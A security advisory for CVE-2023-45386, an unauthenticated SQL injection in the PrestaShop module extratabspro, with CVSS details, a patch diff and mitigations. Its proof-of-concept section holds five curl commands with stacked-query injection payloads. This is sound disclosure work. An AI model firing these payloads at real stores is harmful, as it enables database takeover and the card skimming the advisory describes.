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[CVE-2023-45386] Improper neutralization of SQL parameter in MyPresta.eu - Product Extra Tabs Pro for PrestaShop
In the module “Product Extra Tabs Pro” (extratabspro) up to version 2.2.8 from MyPresta.eu for PrestaShop, a guest can perform SQL injection in affected versions.
Summary
- CVE ID: CVE-2023-45386
- Published at: 2023-10-12
- Platform: PrestaShop
- Product: extratabspro
- Impacted release: <= 2.2.7 (2.2.8 fixed the vulnerability)
- Product author: MyPresta.eu
- Weakness: CWE-89
- Severity: critical (9.8)
Description
Methods extratabspro::searchcategory(), extratabspro::searchproduct() and extratabspro::searchmanufacturer() have sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.
The exploit can be used even if the module is not activated.
WARNING : This exploit is actively used to deploy a webskimmer to massively steal credit cards.
CVSS base metrics
- Attack vector: network
- Attack complexity: low
- Privilege required: none
- User interaction: none
- Scope: unchanged
- Confidentiality: high
- Integrity: high
- Availability: high
Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Possible malicious usage
- Obtain admin access
- Remove data from the associated PrestaShop
- Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts
- Rewrite SMTP settings to hijack emails
Proof of concept
curl -v -X POST -d 'search_feature=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--' 'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'
curl -v -X POST -d 'searchsupplier=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--' 'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'
curl -v -X POST -d 'search=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--' 'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'
curl -v -X POST -d 'search_product=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--' 'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'
curl -v -X POST -d 'search_manufacturer=1";select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--' 'https://preprod.X/modules/extratabspro/ajax_extratabspro.php'
Patch from 2.2.7
--- 2.2.7/extratabspro/extratabspro.php
+++ 2.2.8/extratabspro/extratabspro.php
...
public function searchsupplier($search)
{
- return Db::getInstance()->ExecuteS('SELECT `id_supplier`,`name` FROM `' . _DB_PREFIX_ . 'supplier` WHERE `name` like "%' . $search . '%" LIMIT 10');
+ return Db::getInstance()->ExecuteS('SELECT `id_supplier`,`name` FROM `' . _DB_PREFIX_ . 'supplier` WHERE `name` like "%' . pSQL($search) . '%" LIMIT 10');
}
public function getSuppliers($id)
{
- return Db::getInstance()->ExecuteS('SELECT `id_supplier` FROM `' . _DB_PREFIX_ . 'product_supplier` WHERE `id_product`= ' . $id . ' GROUP BY id_supplier');
+ return Db::getInstance()->ExecuteS('SELECT `id_supplier` FROM `' . _DB_PREFIX_ . 'product_supplier` WHERE `id_product`= ' . (int) $id . ' GROUP BY id_supplier');
}
public function searchfeature($search)
{
- return Db::getInstance()->ExecuteS('SELECT `id_feature_value`,`value` as name FROM `' . _DB_PREFIX_ . 'feature_value_lang` WHERE `value` like "%' . (string )$search . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" LIMIT 10');
+ return Db::getInstance()->ExecuteS('SELECT `id_feature_value`,`value` as name FROM `' . _DB_PREFIX_ . 'feature_value_lang` WHERE `value` like "%' . pSQL($search) . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" LIMIT 10');
}
public function searchcategory($search)
{
- return Db::getInstance()->ExecuteS('SELECT `id_category`,`name` FROM `' . _DB_PREFIX_ . 'category_lang` WHERE `name` like "%' . $search . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this->context->shop->id . '" LIMIT 10');
+ return Db::getInstance()->ExecuteS('SELECT `id_category`,`name` FROM `' . _DB_PREFIX_ . 'category_lang` WHERE `name` like "%' . pSQL($search) . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this->context->shop->id . '" LIMIT 10');
}
public function searchproduct($search)
{
- return Db::getInstance()->ExecuteS('SELECT `id_product`,`name` FROM `' . _DB_PREFIX_ . 'product_lang` WHERE `name` like "%' . $search . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this->context->shop->id . '" LIMIT 10');
+ return Db::getInstance()->ExecuteS('SELECT `id_product`,`name` FROM `' . _DB_PREFIX_ . 'product_lang` WHERE `name` like "%' . pSQL($search) . '%" AND id_lang="' . Configuration::get('PS_LANG_DEFAULT') . '" AND id_shop="' . $this->context->shop->id . '" LIMIT 10');
}
public function searchmanufacturer($search)
{
- return Db::getInstance()->ExecuteS('SELECT m.`id_manufacturer`,m.`name` FROM `' . _DB_PREFIX_ . 'manufacturer` m LEFT JOIN `' . _DB_PREFIX_ . 'manufacturer_shop` ms ON ms.id_manufacturer = m.id_manufacturer WHERE `name` like "%' . $search . '%" AND ms.id_shop="' . $this->context->shop->id . '" LIMIT 10');
+ return Db::getInstance()->ExecuteS('SELECT m.`id_manufacturer`,m.`name` FROM `' . _DB_PREFIX_ . 'manufacturer` m LEFT JOIN `' . _DB_PREFIX_ . 'manufacturer_shop` ms ON ms.id_manufacturer = m.id_manufacturer WHERE `name` like "%' . pSQL($search) . '%" AND ms.id_shop="' . $this->context->shop->id . '" LIMIT 10');
}
Other recommendations
- It’s recommended to upgrade to the latest version of the module extratabspro.
- Upgrade PrestaShop to the latest version to disable multiquery executions (separated by “;”) - be warned that this functionality WILL NOT protect your SHOP against injection SQL which uses the UNION clause to steal data.
- Change the default database prefix
ps_with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS - Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.
Timeline
| Date | Action |
|---|---|
| 2023-04-27 | Issue discovered during a code review by TouchWeb.fr |
| 2023-04-28 | Contact Author to confirm version scope |
| 2023-04-28 | Request a CVE ID |
| 2023-05-23 | Author confirm version scope |
| 2023-05-23 | Recontact author to get fixed version of the module to confirm fix |
| 2023-09-26 | Relaunch author to get fixed version of the module to confirm fix |
| 2023-09-26 | Author give the archive of the fix version of the module - fix confirmed |
| 2023-10-11 | Received CVE ID |
| 2023-10-12 | Publish this security advisory |
Links
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